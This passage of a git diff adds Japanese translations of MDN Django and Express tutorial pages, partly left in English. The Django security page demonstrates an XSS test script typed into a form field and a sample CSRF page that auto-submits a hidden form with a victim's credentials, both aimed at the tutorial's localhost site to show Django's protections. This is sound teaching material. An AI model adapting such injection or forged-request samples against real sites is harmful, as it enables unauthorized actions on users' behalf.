- 16:11:26 + Django version 1.10, using settings 'locallibrary.settings' + Starting development server at http://127.0.0.1:8000/ + Quit the server with CTRL-BREAK. +</pre> + +<p>Once the server is running you can view the site by navigating to <code>http://127.0.0.1:8000/</code> in your local web browser. You should see a site error page that looks like this:</p> + +<p><img alt="Django Debug page for Django 2.0" src="https://mdn.mozillademos.org/files/15729/django_404_debug_page.png"></p> + +<p>Don't worry! This error page is expected because we don't have any pages/urls defined in the <code>catalogs.urls</code> module (which we're redirected to when we get an URL to the root of the site). </p> + +<div class="note"> +<p><strong>Note</strong>: The above page demonstrates a great Django feature — automated debug logging. An error screen will be displayed with useful information whenever a page cannot be found, or any error is raised by the code. In this case we can see that the URL we've supplied doesn't match any of our URL patterns (as listed). The logging will be turned off during production (when we put the site live on the Web), in which case a less informative but more user-friendly page will be served.</p> +</div> + +<p>At this point we know that Django is working! </p> + +<div class="note"> +<p><strong>Note</strong>: You should re-run migrations and re-test the site whenever you make significant changes. It doesn't take very long!</p> +</div> + +<h2 id="自分でやってみよう">自分でやってみよう</h2> + +<p>The <strong>catalog/</strong> directory contains files for the views, models, and other parts of the application. Open these files and inspect the boilerplate. </p> + +<p>As you saw above, a URL-mapping for the Admin site has already been added in the project's <strong>urls.py</strong>. Navigate to the admin area in your browser and see what happens (you can infer the correct URL from the mapping above).</p> + +<ul> +</ul> + +<h2 id="要約">要約</h2> + +<p>You have now created a complete skeleton website project, which you can go on to populate with urls, models, views, and templates.</p> + +<p>Now the skeleton for the <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> is complete and running, it's time to start writing the code that makes this website do what it is supposed to do. </p> + +<h2 id="参考文献">参考文献</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial01/">Writing your first Django app - part 1</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/applications/#configuring-applications">Applications</a> (Django Docs). Contains information on configuring applications.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p> + +<h2 id="このモジュール内">このモジュール内</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/ja/learn/server-side/django/tutorial_local_library_website/index.html b/files/ja/learn/server-side/django/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..d0d0f670f2 --- /dev/null +++ b/files/ja/learn/server-side/django/tutorial_local_library_website/index.html @@ -0,0 +1,99 @@ +--- +title: 'Django チュートリアル: 地域図書館ウェブサイト' +slug: Learn/Server-side/Django/Tutorial_local_library_website +tags: + - Python + - django + - チュートリアル + - 初心者 +translation_of: Learn/Server-side/Django/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">実践的なチュートリアルシリーズの最初の記事は、学習する内容を説明し、後の記事で進めていく「地域図書館」のサンプルウェブサイトの概要を示しています。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Server-side/Django/Introduction">Djangoの紹介</a>を読んでください。以下の記事では、<a href="/ja/docs/Learn/Server-side/Django/development_environment">Django開発環境をセットアップする</a>必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>このチュートリアルで使用されているサンプルアプリケーションを紹介し、読者が何をするかを理解できるようにします。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>MDN "地域図書館" Djangoチュートリアルへようこそ。ここでは、地域図書館のカタログを管理するためのWebサイトを開発します。</p> + +<p>この一連のチュートリアルの記事でやることは次の通りです:</p> + +<ul> + <li>Djangoのツールを使用して、Webサイトのスケルトンとアプリケーションを作成します。</li> + <li>開発用サーバーを起動および停止します。</li> + <li>アプリケーションのデータを表すモデルを作成します。</li> + <li>Django管理サイトを使用してサイトのデータを設定します。</li> + <li>さまざまな要求に応じて特定のデータを取得するためのビューを作成し、ブラウザに表示するHTMLとして、データをレンダリングするためのテンプレートを作成します。</li> + <li>異なるURLパターンを特定のビューに関連付けるためのマッパーを作成します。</li> + <li>ユーザーの認可とセッションを追加して、サイトの動作とアクセスを制御します。</li> + <li>フォームを使います。</li> + <li>アプリケーションのテストコードを書きます。</li> + <li>Djangoのセキュリティを効果的に使用します。</li> + <li>アプリケーションを本番環境にデプロイします。</li> +</ul> + +<p>これらの話題のいくつかについて学び、他の話題にも簡単に触れました。チュートリアルシリーズの最後は、あなた自身で簡単なDjangoアプリケーションを開発するのに十分な知識が必要です。</p> + +<h2 id="地域図書館ウェブサイト">地域図書館ウェブサイト</h2> + +<p><em>地域図書館（LocalLibrary）は、この一連のチュートリアルの過程で作成および展開するWebサイトの名前です。ご存じのように、ウェブサイトの目的は、利用可能な書籍を閲覧してアカウントを管理できる小さな地域図書館のオンラインカタログを提供することです。</em></p> + +<p>この例は慎重に選択されています。なぜなら、必要に応じて細かく表示することができ、ほぼすべてのDjango機能を表示するために使用できます。 さらに重要なことは、Django Webフレームワークの最も重要な機能をガイドする方法を提供できることです:</p> + +<ul> + <li>最初のいくつかのチュートリアルの記事では、図書館員が利用可能な書籍を見つけるために使用できる簡単なブラウズ専用図書館を定義します。これにより、ほぼすべてのWebサイトに共通する操作、つまりデータベースからの内容の読み取りと表示を探ります。</li> + <li>進めていくと、図書館の例は、より高度なDjangoの機能を説明するために自然に拡張していきます。たとえば、ユーザーが書籍を予約できるように図書館を拡張し、これを使ってフォームの使用方法をデモし、ユーザー認証をサポートできます。</li> +</ul> + +<p>これは非常に拡張可能な例ですが、地域図書館と呼んでいます。理由は、Djangoをすぐに起動して実行するのに役立つ最小限の情報を表示したいと考えているからです。つまり、書籍、本のコピー、作者関する情報、およびその他の重要な情報は保存します。しかし、図書館が保管する可能性のある他のアイテムに関する情報を保管したり、複数の図書館サイトやその他の「大きな図書館」機能をサポートするために必要なインフラストラクチャーを提供することはありません。</p> + +<h2 id="詰まってます、どこでソースを入手できますか？">詰まってます、どこでソースを入手できますか？</h2> + +<p>チュートリアルを進めるうちに、各ポイントでコピー＆ペーストするための適切なコードスニペットが提供されます。また、この他に自分で拡張してほしいコードもあります（いくつかのガイダンスがあります）。</p> + +<p>詰まった場合は、ウェブサイトの完全に開発されたバージョンを<a href="https://github.com/mdn/django-locallibrary-tutorial">Github上</a>で見ることができます。</p> + +<h2 id="要約">要約</h2> + +<p>地域図書館ウェブサイトについてと、何を学ぶのかをもう少し知りました。今度は例を含む<a href="/ja/docs/Learn/Server-side/Django/skeleton_website">スケルトンプロジェクト</a>を作成しましょう。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="このモジュール内">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/Django/Introduction">Django の紹介</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/development_environment">Django 開発環境の設定</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django チュートリアル: 地域図書館ウェブサイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/skeleton_website">Django チュートリアル Part 2: ウェブサイトの骨組み作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Models">Django チュートリアル Part 3: モデルの使用</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Admin_site">Django チュートリアル Part 4: Django 管理サイト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Home_page">Django チュートリアル Part 5: ホームページの作成</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Generic_views">Django チュートリアル Part 6: 汎用の一覧表示と詳細表示</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Sessions">Django チュートリアル Part 7: セッションフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Authentication">Django チュートリアル Part 8: ユーザー認証と権限</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Forms">Django チュートリアル Part 9: フォームの操作</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Testing">Django チュートリアル Part 10: Django ウェブアプリケーションのテスト</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/Deployment">Django チュートリアル Part 11: Django を本番環境にデプロイする</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/web_application_security">Django ウェブアプリケーションセキュリティ</a></li> + <li><a href="/ja/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django ミニブログ</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/server-side/django/web_application_security/index.html b/files/ja/learn/server-side/django/web_application_security/index.html new file mode 100644 index 0000000000..496fac0fbd --- /dev/null +++ b/files/ja/learn/server-side/django/web_application_security/index.html @@ -0,0 +1,180 @@ +--- +title: Django Web アプリケーションのセキュリティ +slug: Learn/Server-side/Django/web_application_security +translation_of: Learn/Server-side/Django/web_application_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div> + +<div>ユーザーのデータを守ることはWebデザインにおいて重要です。 以前、より一般的なセキュリティの脅威の一部を <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Webセキュリティ</a> の記事で説明しました— 本記事ではDjangoにビルトインされている保護機能がそのような脅威にどう対応しているか、より実践的な動きを見ながら説明していきます。</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>Read the サーバーサイドプログラミングの "<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Webサイトセキュリティ</a>" の記事を読んでいること。Djangoチュートリアルを少なくとも <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a> まで完了していること。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>Django Webアプリケーションをセキュアにするためにやるべきこと、やってはいけないことを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Website security</a> topic provides an overview of what website security means for server-side design, and some of the more common threats that you may need to protect against. One of the key messages in that article is that almost all attacks are successful when the web application trusts data from the browser.</p> + +<div class="warning"> +<p><strong>Important:</strong> The single most important lesson you can learn about website security is to <strong>never trust data from the browser</strong>. This includes <code>GET</code> request data in URL parameters, <code>POST</code> data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.</p> +</div> + +<p>The good news for Django users is that many of the more common threats are handled by the framework! The <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> (Django docs) article explains Django's security features and how to secure a Django-powered website.</p> + +<h2 id="Common_threatsprotections">Common threats/protections</h2> + +<p>Rather than duplicate the Django documentation here, in this article we'll demonstrate just a few of the security features in the context of our Django <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> tutorial.</p> + +<h3 id="Cross_site_scripting_(XSS)">Cross site scripting (XSS)</h3> + +<p>XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts <em>through</em> the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker’s JavaScript to be executed by the user’s browser.</p> + +<p>Django's template system protects you against the majority of XSS attacks by <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">escaping specific characters</a> that are "dangerous" in HTML. We can demonstrate this by attempting to inject some JavaScript into our LocalLibrary website using the Create-author form we set up in <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a>.</p> + +<ol> + <li>Start the website using the development server (<code>python3 manage.py runserver</code>).</li> + <li>Open the site in your local browser and login to your superuser account.</li> + <li>Navigate to the author-creation page (which should be at URL: <code><a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a></code>).</li> + <li>Enter names and date details for a new user, and then append the following text to the Last Name field:<br> + <code><script>alert('Test alert');</script></code>.<br> + <img alt="Author Form XSS test" src="https://mdn.mozillademos.org/files/14305/author_create_form_alert_xss.png" style="border-style: solid; border-width: 1px; height: 245px; width: 594px;"> + <div class="note"> + <p><strong>Note:</strong> This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.</p> + </div> + </li> + <li>Press <strong>Submit</strong> to save the record.</li> + <li>When you save the author it will be displayed as shown below. Because of the XSS protections the <code>alert()</code> should not be run. Instead the script is displayed as plain text.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li> +</ol> + +<p>If you view the page HTML source code, you can see that the dangerous characters for the script tags have been turned into their harmless escape code equivalents (e.g. <code>></code> is now <code>&gt;</code>)</p> + +<pre class="brush: html"><h1>Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David (Boonie) </h1> +</pre> + +<p>Using Django templates protects you against the majority of XSS attacks. However it is possible to turn off this protection, and the protection isn't automatically applied to all tags that wouldn't normally be populated by user input (for example, the <code>help_text</code> in a form field is usually not user-supplied, so Django doesn't escape those values).</p> + +<p>It is also possible for XSS attacks to originate from other untrusted source of data, such as cookies, Web services or uploaded files (whenever the data is not sufficiently sanitized before including in a page). If you're displaying data from these sources, then you may need to add your own sanitisation code.</p> + +<h3 id="Cross_site_request_forgery_(CSRF)_protection">Cross site request forgery (CSRF) protection</h3> + +<p>CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.</p> + +<div class="note"> +<p><strong>Note:</strong> Obviously our hacker isn't in this for the money! A more ambitious hacker could use the same approach on other sites to perform much more harmful tasks (e.g. transfer money to their own accounts, etc.)</p> +</div> + +<p>In order to do this, they might create an HTML file like the one below, which contains an author-creation form (like the one we used in the previous section) that is submitted as soon as the file is loaded. They would then send the file to all the Librarians and suggest that they open the file (it contains some harmless information, honest!). If the file is opened by any logged in librarian, then the form would be submitted with their credentials and a new author would be created.</p> + +<pre class="brush: html"><html> +<body onload='document.EvilForm.submit()'> + +<form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'> + <table> + <tr><th><label for="id_first_name">First name:</label></th><td><input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /></td></tr> + <tr><th><label for="id_last_name">Last name:</label></th><td><input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /></td></tr> + <tr><th><label for="id_date_of_birth">Date of birth:</label></th><td><input id="id_date_of_birth" name="date_of_birth" type="text" /></td></tr> + <tr><th><label for="id_date_of_death">Died:</label></th><td><input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /></td></tr> + </table> + <input type="submit" value="Submit" /> +</form> + +</body> +</html> +</pre> + +<p>Run the development web server, and log in with your superuser account. Copy the text above into a file and then open it in the browser. You should get a CSRF error, because Django has protection against this kind of thing!</p> + +<p>The way the protection is enabled is that you include the <code>{% csrf_token %}</code> template tag in your form definition. This token is then rendered in your HTML as shown below, with a value that is specific to the user on the current browser.</p> + +<pre class="brush: html"><input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /> +</pre> + +<p>Django generates a user/browser specific key and will reject forms that do not contain the field, or that contain an incorrect field value for the user/browser.</p> + +<p>To use this type of attack the hacker now has to discover and include the CSRF key for the specific target user. They also can't use the "scattergun" approach of sending a malicious file to all librarians and hoping that one of them will open it, since the CSRF key is browser specific.</p> + +<p>Django's CSRF protection is turned on by default. You should always use the <code>{% csrf_token %}</code> template tag in your forms and use <code>POST</code> for requests that might change or add data to the database.</p> + +<h3 id="Other_protections">Other protections</h3> + +<p>Django also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):</p> + +<dl> + <dt>SQL injection protection</dt> + <dd>SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django’s querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.</dd> + <dt>Clickjacking protection</dt> + <dd>In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials in an invisible <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame Element (<iframe>) represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an <iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code><iframe></code></a> controlled by the attacker. Django contains <a href="https://docs.djangoproject.com/en/2.0/ref/clickjacking/#clickjacking-prevention">clickjacking protection</a> in the form of the <a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware" title="django.middleware.clickjacking.XFrameOptionsMiddleware"><code>X-Frame-Options middleware</code></a> which, in a supporting browser, can prevent a site from being rendered inside a frame.</dd> + <dt>Enforcing SSL/HTTPS</dt> + <dd>SSL/HTTPS can be enabled on the web server in order to encrypt all traffic between the site and browser, including authentication credentials that would otherwise be sent in plain text (enabling HTTPS is highly recommended). If HTTPS is enabled then Django provides a number of other protections you can use:</dd> +</dl> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER"><code>SECURE_PROXY_SSL_HEADER</code></a> can be used to check whether content is secure, even if it is incoming from a non-HTTP proxy.</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_SSL_REDIRECT"><code>SECURE_SSL_REDIRECT</code></a> is used to redirect all HTTP requests to HTTPS.</li> + <li>Use <a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#http-strict-transport-security">HTTP Strict Transport Security</a> (HSTS). This is an HTTP header that informs a browser that all future connections to a particular site should always use HTTPS. Combined with redirecting HTTP requests to HTTPS, this setting ensures that HTTPS is always used after a successful connection has occurred. HSTS may either be configured with <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_SECONDS"><code>SECURE_HSTS_SECONDS</code></a> and <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS"><code>SECURE_HSTS_INCLUDE_SUBDOMAINS</code></a> or on the Web server.</li> + <li>Use ‘secure’ cookies by setting <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SESSION_COOKIE_SECURE"><code>SESSION_COOKIE_SECURE</code></a> and <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-CSRF_COOKIE_SECURE"><code>CSRF_COOKIE_SECURE</code></a> to <code>True</code>. This will ensure that cookies are only ever sent over HTTPS.</li> +</ul> + +<dl> + <dt>Host header validation</dt> + <dd>Use <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-ALLOWED_HOSTS"><code>ALLOWED_HOSTS</code></a> to only accept requests from trusted hosts.</dd> +</dl> + +<p>There are many other protections, and caveats to the usage of the above mechanisms. While we hope that this has given you an overview of what Django offers, you should still read the Django security documentation.</p> + +<ul> +</ul> + +<h2 id="Summary">Summary</h2> + +<p>Django has effective protections against a number of common threats, including XSS and CSRF attacks. In this article we've demonstrated how those particular threats are handled by Django in our <em>LocalLibrary</em> website. We've also provided a brief overview of some of the other protections.</p> + +<p>This has been a very brief foray into web security. We strongly recommend that you read <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> to gain a deeper understanding.</p> + +<p>The next and final step in this module about Django is to complete the <a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">assessment task</a>.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> (Django docs)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Server side website security</a> (MDN)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> (MDN)</li> + <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a> (MDN)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/server-side/express_nodejs/deployment/index.html b/files/ja/learn/server-side/express_nodejs/deployment/index.html new file mode 100644 index 0000000000..6f8b60f094 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/deployment/index.html @@ -0,0 +1,525 @@ +--- +title: 'Express チュートリアル Part 7: プロダクションへのデプロイ' +slug: Learn/Server-side/Express_Nodejs/deployment +tags: + - CodingScripting + - Express + - Node + - heroku + - サーバサイド + - デプロイ + - 初心者 + - 学習 +translation_of: Learn/Server-side/Express_Nodejs/deployment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">これで素晴らしい<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">地域図書館</a> Web サイトを作成 (およびテスト) したので、公共の Web サーバーにインストールして、図書館のスタッフとメンバーがインターネット経由でアクセスできるようにします。この記事では Web サイトをデプロイするためのホストを見つける方法、およびサイトを運用に向けて準備するために必要な作業の概要について説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a>を含む、これまでのチュートリアルのトピックをすべて完了してください。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>Express アプリケーションをプロダクションにデプロイする場所と方法を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Overview">Overview</h2> + +<p>Once your site is finished (or finished "enough" to start public testing) you're going to need to host it somewhere more public and accessible than your personal development computer.</p> + +<p>Up to now, you've been working in a <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">development environment</a>, using Express/Node as a web server to share your site to the local browser/network, and running your website with (insecure) development settings that expose debugging and other private information. Before you can host a website externally you're first going to have to:</p> + +<ul> + <li>Choose an environment for hosting the Express app.</li> + <li>Make a few changes to your project settings.</li> + <li>Set up a production-level infrastructure for serving your website.</li> +</ul> + +<p>This tutorial provides some guidance on your options for choosing a hosting site, a brief overview of what you need to do in order to get your Express app ready for production, and a worked example of how to install the LocalLibrary website onto the <a href="https://www.heroku.com/">Heroku</a> cloud hosting service.</p> + +<p>Bear in mind that you don't have to use Heroku — there are other hosting services available. We've also provided a separate tutorial to show how to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Install LocalLibrary on PWS/Cloud Foundry</a>.</p> + +<h2 id="What_is_a_production_environment">What is a production environment?</h2> + +<p>The production environment is the environment provided by the server computer where you will run your website for external consumption. The environment includes:</p> + +<ul> + <li>Computer hardware on which the website runs.</li> + <li>Operating system (e.g. Linux or Windows).</li> + <li>Programming language runtime and framework libraries on top of which your website is written.</li> + <li>Web server infrastructure, possibly including a web server, reverse proxy, load balancer, etc.</li> + <li>Databases on which your website is dependent.</li> +</ul> + +<p>The server computer could be located on your premises and connected to the Internet by a fast link, but it is far more common to use a computer that is hosted "in the cloud". What this actually means is that your code is run on some remote computer (or possibly a "virtual" computer) in your hosting company's data center(s). The remote server will usually offer some guaranteed level of computing resources (e.g. CPU, RAM, storage memory, etc.) and Internet connectivity for a certain price.</p> + +<p>This sort of remotely accessible computing/networking hardware is referred to as <em>Infrastructure as a Service (IaaS)</em>. Many IaaS vendors provide options to preinstall a particular operating system, onto which you must install the other components of your production environment. Other vendors allow you to select more fully-featured environments, perhaps including a complete Node setup.</p> + +<div class="note"> +<p><strong>Note:</strong> Pre-built environments can make setting up your website very easy because they reduce the configuration, but the available options may limit you to an unfamiliar server (or other components) and may be based on an older version of the OS. Often it is better to install components yourself so that you get the ones that you want, and when you need to upgrade parts of the system, you have some idea of where to start!</p> +</div> + +<p>Other hosting providers support Express as part of a <em>Platform as a Service</em> (<em>PaaS</em>) offering. When using this sort of hosting you don't need to worry about most of your production environment (servers, load balancers, etc.) as the host platform takes care of those for you. That makes deployment quite easy because you just need to concentrate on your web application and not any other server infrastructure.</p> + +<p>Some developers will choose the increased flexibility provided by IaaS over PaaS, while others will appreciate the reduced maintenance overhead and easier scaling of PaaS. When you're getting started, setting up your website on a PaaS system is much easier, so that is what we'll do in this tutorial.</p> + +<div class="note"> +<p><strong>Tip:</strong> If you choose a Node/Express-friendly hosting provider they should provide instructions on how to set up an Express website using different configurations of web server, application server, reverse proxy, etc. For example, there are many step-by-step guides for various configurations in the <a href="https://www.digitalocean.com/community/tutorials?q=node">Digital Ocean Node community docs</a>.</p> +</div> + +<h2 id="Choosing_a_hosting_provider">Choosing a hosting provider</h2> + +<p>There are numerous hosting providers that are known to either actively support or work well with <em>Node</em> (and <em>Express</em>). These vendors provide different types of environments (IaaS, PaaS), and different levels of computing and network resources at different prices.</p> + +<div class="note"> +<p><strong>Tip:</strong> There are a lot of hosting solutions, and their services and pricing can change over time. While we introduce a few options below, it is worth performing your own Internet search before selecting a hosting provider.</p> +</div> + +<p>Some of the things to consider when choosing a host:</p> + +<ul> + <li>How busy your site is likely to be and the cost of data and computing resources required to meet that demand.</li> + <li>Level of support for scaling horizontally (adding more machines) and vertically (upgrading to more powerful machines) and the costs of doing so.</li> + <li>Where the supplier has data centers, and hence where access is likely to be the fastest.</li> + <li>The host's historical uptime and downtime performance.</li> + <li>Tools provided for managing the site — are they easy to use and are they secure (e.g. SFTP vs FTP).</li> + <li>Inbuilt frameworks for monitoring your server.</li> + <li>Known limitations. Some hosts will deliberately block certain services (e.g. email). Others offer only a certain number of hours of "live time" in some price tiers, or only offer a small amount of storage.</li> + <li>Additional benefits. Some providers will offer free domain names and support for SSL certificates that you would otherwise have to pay for.</li> + <li>Whether the "free" tier you're relying on expires over time, and whether the cost of migrating to a more expensive tier means you would have been better off using some other service in the first place!</li> +</ul> 